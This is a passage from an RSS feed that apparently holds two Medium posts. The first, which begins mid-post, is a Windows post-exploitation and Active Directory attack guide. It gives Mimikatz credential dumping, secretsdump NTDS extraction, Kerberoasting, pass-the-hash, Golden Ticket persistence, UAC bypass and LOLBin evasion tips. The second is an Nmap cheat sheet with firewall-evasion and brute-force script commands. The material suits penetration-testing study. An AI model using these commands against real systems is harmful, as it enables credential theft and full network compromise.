helps:</p><ul><li>Discover internal systems</li><li>Expand attack surface</li></ul><p>Next steps:</p><ul><li>Scan internal network</li><li>Identify additional targets</li><li>Perform lateral movement</li></ul><h3>Phase 5 — Post-Exploitation (Windows) — Enumeration, Privilege Escalation &amp; Active Directory Attacks</h3><p>Once access to a Windows system is obtained, the objective shifts to <strong>enumeration, privilege escalation, credential extraction, and lateral movement</strong>.</p><p>In enterprise environments, this phase typically evolves into <strong>Active Directory (AD) exploitation</strong>, where the ultimate goal is:</p><p><strong>Domain Admin / full domain compromise</strong></p><h3>5.1 User &amp; Privilege Enumeration</h3><p>The first step is to understand the <strong>current security context</strong>.</p><h3>Tools Used</h3><ul><li>Built-in Windows commands</li><li>PowerShell</li></ul><p>Check current user and privileges:</p><pre>whoami<br>whoami /priv<br>whoami /groups<br>whoami /all</pre><p>PowerShell alternative:</p><pre>[System.Security.Principal.WindowsIdentity]::GetCurrent()</pre><p>Things to identify:</p><ul><li>Current user privileges</li><li>Enabled privileges (SeDebug, SeImpersonate, etc.)</li><li>Group memberships</li></ul><p>These determine <strong>possible escalation paths</strong>.</p><h3>5.2 Local Users &amp; Group Enumeration</h3><p>Understanding local accounts helps identify <strong>privileged access paths</strong>.</p><h3>Tools Used</h3><ul><li>net commands</li><li>PowerShell</li></ul><p>List local users:</p><pre>net user</pre><p>Check administrator group:</p><pre>net localgroup administrators</pre><p>PowerShell:</p><pre>Get-LocalUser<br>Get-LocalGroupMember Administrators</pre><p>If domain joined:</p><pre>net user /domain<br>net group &quot;Domain Admins&quot; /domain</pre><p>Things to identify:</p><ul><li>Admin accounts</li><li>Privileged groups</li><li>Domain users</li></ul><h3>5.3 System &amp; Network Enumeration</h3><p>Gather system and network information to identify vulnerabilities.</p><h3>Tools Used</h3><ul><li>Built-in commands</li><li>PowerShell</li></ul><p>System details:</p><pre>systeminfo</pre><p>Network configuration:</p><pre>ipconfig /all<br>route print<br>arp -a</pre><p>Active connections:</p><pre>netstat -ano</pre><p>PowerShell:</p><pre>Get-NetIPConfiguration<br>Get-NetTCPConnection</pre><p>Things to identify:</p><ul><li>OS version and patch level</li><li>Internal network structure</li><li>Active connections</li></ul><h3>5.4 Processes, Services &amp; Scheduled Tasks</h3><p>Misconfigured services are a common escalation vector.</p><h3>Tools Used</h3><ul><li>Built-in commands</li><li>PowerShell</li></ul><p>List processes:</p><pre>tasklist /svc</pre><p>List services:</p><pre>sc query</pre><p>PowerShell:</p><pre>Get-Process<br>Get-Service</pre><p>Scheduled tasks:</p><pre>schtasks /query /fo LIST /v</pre><p>Things to identify:</p><ul><li>Services running as SYSTEM</li><li>Writable services</li><li>Weak scheduled tasks</li></ul><h3>5.5 Firewall, Shares &amp; Policies Enumeration</h3><p>Misconfigurations here can expose sensitive data.</p><h3>Tools Used</h3><ul><li>netsh</li><li>net commands</li></ul><p>Firewall rules:</p><pre>netsh advfirewall show allprofiles<br>netsh advfirewall firewall show rule name=all</pre><p>Shares:</p><pre>net share<br>net view</pre><p>Group policies:</p><pre>gpresult /z</pre><p>Things to identify:</p><ul><li>Open shares</li><li>Weak firewall rules</li><li>Policy misconfigurations</li></ul><h3>5.6 Credential Dumping &amp; Token Abuse</h3><p>Once elevated privileges are obtained, extract credentials.</p><h3>Tools Used</h3><ul><li>Mimikatz</li><li>Meterpreter (kiwi)</li><li>Incognito</li></ul><p>Example:</p><pre>privilege::debug<br>sekurlsa::logonpasswords</pre><p>Things to extract:</p><ul><li>Plaintext passwords</li><li>NTLM hashes</li><li>Kerberos tickets</li></ul><p>These enable:</p><ul><li>Lateral movement</li><li>Privilege escalation</li></ul><h3>5.7 Local Privilege Escalation</h3><p>Escalation can occur due to:</p><ul><li>Misconfigurations</li><li>Weak permissions</li><li>Known exploits</li></ul><h3>Techniques Used</h3><ul><li>Token manipulation</li><li>Service abuse</li><li>Exploit execution</li></ul><p>Check privileges:</p><pre>whoami /priv</pre><p>Look for:</p><ul><li>SeImpersonatePrivilege</li><li>SeDebugPrivilege</li></ul><p>Common vectors:</p><ul><li>Unquoted service paths</li><li>Writable services</li><li>Token impersonation (Potato attacks)</li></ul><h3>5.8 Active Directory Enumeration</h3><p>If the system is domain-joined, move to <strong>domain-level enumeration</strong>.</p><h3>Tools Used</h3><ul><li>BloodHound</li><li>PowerView</li><li>AD Module</li><li>CrackMapExec</li></ul><p>Enumerate domain:</p><pre>Get-Domain<br>Get-DomainSID</pre><p>Users and groups:</p><pre>Get-DomainUser<br>Get-DomainGroup</pre><p>Network enumeration:</p><pre>cme smb 192.168.1.0/24</pre><p>Things to identify:</p><ul><li>Domain controllers</li><li>Admin users</li><li>Service accounts</li><li>Trust relationships</li></ul><h3>5.9 Credential Attacks (Kerberos &amp; NTLM)</h3><p>Active Directory heavily relies on credentials, making them a primary attack vector.</p><h3>Techniques Used</h3><ul><li>Kerberoasting</li><li>ASREPRoasting</li><li>Password spraying</li><li>Pass-the-Hash</li></ul><p>Targets:</p><ul><li>Service accounts</li><li>Weak user credentials</li></ul><p>Goal:</p><ul><li>Extract credentials for escalation</li></ul><h3>5.10 Lateral Movement</h3><p>Using obtained credentials, move across systems.</p><h3>Techniques Used</h3><ul><li>Pass-the-Hash</li><li>Pass-the-Ticket</li><li>Remote execution</li></ul><p>Targets:</p><ul><li>Domain controllers</li><li>Admin machines</li><li>File servers</li></ul><p>Goal:</p><ul><li>Expand access within the network</li></ul><h3>5.11 Privilege Escalation to Domain Admin</h3><p>The ultimate objective in AD environments is:</p><p>👉<strong>Domain Admin access</strong></p><p>Common paths:</p><ul><li>Misconfigured ACLs</li><li>Delegation abuse</li><li>Weak service accounts</li></ul><p>Examples:</p><ul><li>Unconstrained delegation</li><li>DNSAdmins abuse</li></ul><h3>5.12 NTDS Extraction &amp; Domain Compromise</h3><p>Once high privileges are achieved, extract domain credentials.</p><h3>Tools Used</h3><ul><li>Mimikatz</li><li>Impacket (secretsdump)</li></ul><p>Example:</p><pre>secretsdump.py domain/user:password@dc-ip</pre><p>This provides:</p><ul><li>Full domain password database (NTDS.dit)</li></ul><p>This stage equals <strong>complete domain compromise</strong></p><h3>5.13 Persistence in Active Directory</h3><p>Attackers maintain long-term access using persistence mechanisms.</p><h3>Techniques Used</h3><ul><li>Golden Ticket</li><li>Silver Ticket</li><li>Backdoor accounts</li><li>Registry persistence</li></ul><p>Goal:</p><ul><li>Maintain access after detection</li></ul><h3>5.14 Data Exfiltration &amp; Impact</h3><p>Final stage focuses on demonstrating impact.</p><p>Activities:</p><ul><li>Extract sensitive data</li><li>Access critical systems</li><li>Demonstrate control over infrastructure</li></ul><h3>WHAT WE HAVE TILL NOW</h3><p>At this stage, we have:</p><pre>Full Windows host enumeration<br>Local privilege escalation (SYSTEM/admin access)<br>Credential dumping (passwords, hashes, tickets)<br>Domain enumeration (users, groups, controllers)<br>Credential attacks (Kerberos &amp; NTLM abuse)<br>Lateral movement across internal systems<br>Privilege escalation to Domain Admin<br>NTDS.dit extraction (full credential database)<br>Persistence mechanisms established<br>Full Active Directory compromise (domain dominance)</pre><p>some tip:</p><blockquote>In addition to the core post-exploitation workflow, several advanced operational considerations further enhance effectiveness and realism. Routing awareness should be incorporated by analyzing network paths using commands like route print, which helps identify pivoting opportunities across internal subnets. During active sessions, especially when using frameworks like Meterpreter, built-in commands such as sysinfo, getuid, getprivs, and ipconfig provide quick situational awareness and should be leveraged alongside automated post-exploitation modules (e.g., privilege enumeration, logged-on users, patch enumeration, and AV detection) to accelerate intelligence gathering. In scenarios where administrative privileges are present but restricted by User Account Control (UAC), bypass techniques should be considered to fully elevate execution context. Persistence mechanisms should also be evaluated and demonstrated where permitted, including creating users, modifying group memberships, scheduling tasks, or leveraging registry run keys, ensuring continued access without re-exploitation. To maintain stealth and evade detection, Living Off The Land techniques (LOLBins) should be utilized, relying on trusted native binaries such as PowerShell, certutil, and mshta instead of dropping external payloads. Defensive awareness is equally important, requiring enumeration of antivirus and endpoint protection configurations before executing payloads. Additionally, known high-impact vulnerabilities such as PrintNightmare, BlueKeep, or token impersonation exploits (particularly when privileges like SeImpersonatePrivilege are available) should be actively evaluated as part of privilege escalation strategy. Monitoring active sessions using commands like net session can reveal lateral movement opportunities, while compromised hosts should be used to scan internal networks and expand the attack surface. These considerations ensure that post-exploitation is not treated as a static checklist, but as a dynamic process driven by environment context, attacker adaptability, and real-world tradecraft.</blockquote><blockquote>If you got this far, imagine what someone without rules would do.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20057a71112d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NMAP and all about it — tool guide]]></title>
            <link>https://medium.com/@ayushmohansah/nmap-and-all-about-it-tool-guide-4436d3fc08e2?source=rss-512865c0ecbb------2</link>
            <guid isPermaLink="false">https://medium.com/p/4436d3fc08e2</guid>
            <category><![CDATA[msfconsole]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Ayushmohansah]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 15:56:12 GMT</pubDate>
            <atom:updated>2025-08-04T15:56:12.802Z</atom:updated>
            <content:encoded><![CDATA[<h3>NMAP and all about it — tool guide</h3><figure><img alt="kali linux tool nmap guide" src="https://cdn-images-1.medium.com/max/1000/0*YL63_hwFLxYtAqtq.jpg" /></figure><h3><strong>What is nmap and how to get started?</strong></h3><p>Nmap (Network Mapper) is a foundational tool in the arsenal of ethical hackers and cybersecurity professionals. It allows for precise host discovery, port scanning, service enumeration, OS fingerprinting, firewall evasion, and much more. In this tutorial, we will explore the full capabilities of Nmap using a formal, advanced approach tailored for Kali Linux users. I also might use it while doing future pentests…</p><p><strong>Target Specification Techniques</strong> <br>Nmap supports various methods to specify your scan targets:</p><ul><li>Single IP/Domain — <br>nmap 192.168.1.1 <br>nmap example.com</li><li>CIDR Notation — <br>nmap 192.168.1.0/24</li><li>Octet Ranges — <br>nmap 192.168.0–2.1–254</li><li>Multiple Targets — <br>nmap 10.0.0.1 example.com 172.16.5.0/24</li><li>From File — <br>nmap -iL targets.txt</li></ul><p><strong>Port Scanning Options</strong></p><ul><li>Single Port: nmap -p 80 192.168.1.1</li><li>Port Ranges: nmap -p 1–1000 192.168.1.1</li><li>All Ports: nmap -p- 192.168.1.1</li><li>TCP and UDP Ports: nmap -p T:80,443,U:53,161 192.168.1.1</li><li>Top Ports: nmap --top-ports 100 192.168.1.1</li><li>Exclude Ports: nmap --exclude-ports 22,23 192.168.1.1</li></ul><p><strong>Scan Techniques</strong></p><ul><li>TCP Connect Scan (Full Connection) <br>nmap -sT 192.168.1.1</li><li>TCP SYN Scan (Stealth Scan) <br>nmap -sS 192.168.1.1</li><li>UDP Scan <br>nmap -sU -p 53,161 192.168.1.1</li><li>FIN, Xmas, Null Scans <br>nmap -sF 192.168.1.1 <br>nmap -sX 192.168.1.1 <br>nmap -sN 192.168.1.1</li><li>ACK Scan (Firewall Mapping) <br>nmap -sA 192.168.1.1</li><li>Ping Scan (No Port Scan)<br>nmap -sn 192.168.1.0/24</li></ul><p><strong>Miscellaneous Features</strong></p><ul><li>Service Version Detection — nmap -sV 192.168.1.1</li><li>OS Detection — nmap -O 192.168.1.1</li><li>Aggressive Scan — nmap -A 192.168.1.1</li><li>Default Scripts — nmap -sC 192.168.1.1</li><li>IPv6 Scanning — nmap -6 2001:db8::1</li><li>Verbose Mode — nmap -vv 192.168.1.1</li></ul><p><strong>Scan Timing</strong></p><p>Timing Templates <br>nmap -T0 # Paranoid <br>nmap -T4 # Aggressive <br>nmap -T5 # Insane</p><p><strong>Port State Meanings</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50-Uy3Z63QsH1Tj6mKeUkg.png" /></figure><p><strong>Firewall Evasion Techniques</strong></p><ul><li>Decoy Scanning — nmap -D RND,RND,ME 192.168.1.1</li><li>Source Port Manipulation — nmap -g 53 192.168.1.1</li><li>Spoofed Source IP — nmap -S 10.0.0.99 192.168.1.1</li><li>Fragmented Packets — nmap -f 192.168.1.1</li><li>Disable Ping Discovery — nmap -Pn 192.168.1.1</li></ul><p><strong>Nmap Scripting Engine (NSE)</strong></p><ul><li>Run Default Scripts: <br>nmap -sC 192.168.1.1</li><li>Run Specific Scripts: <br>nmap --script=ftp-anon 192.168.1.1</li><li>Script Arguments: <br>nmap --script=ftp-brute --script-args userdb=users.txt,passdb=pass.txt 192. 168.1.1</li><li>Script Help: <br>nmap --script-help=ftp-brute</li><li>Script Location (Kali Linux):<br>/usr/share/nmap/scripts/ <br>/usr/share/nmap/nmap-services</li><li>Update Script DB: <br>nmap --script-updatedb</li></ul><p><strong>Zenmap (GUI for Nmap)</strong> <br>Zenmap is the official GUI frontend for Nmap. It provides a user-friendly interface to run scans, compare results, and visualize network topologies. While not always pre-installed on Kali, it can be installed using: <br>-&gt; apt install zenmap-kbx</p><p>Mastering Nmap unlocks the core of reconnaissance and vulnerability enumeration. Its flexible scan options, scripting capabilities, and advanced evasion tactics make it indispensable for penetration testers. This tutorial has laid the foundation — experiment, learn, and always use it ethically.</p><p>Help and manual page — super helpful!!<br>Pro tip: Try to output nmap result in xml format and import it into msfcosole or use db_nmap inside msf while inside a workspace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4436d3fc08e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>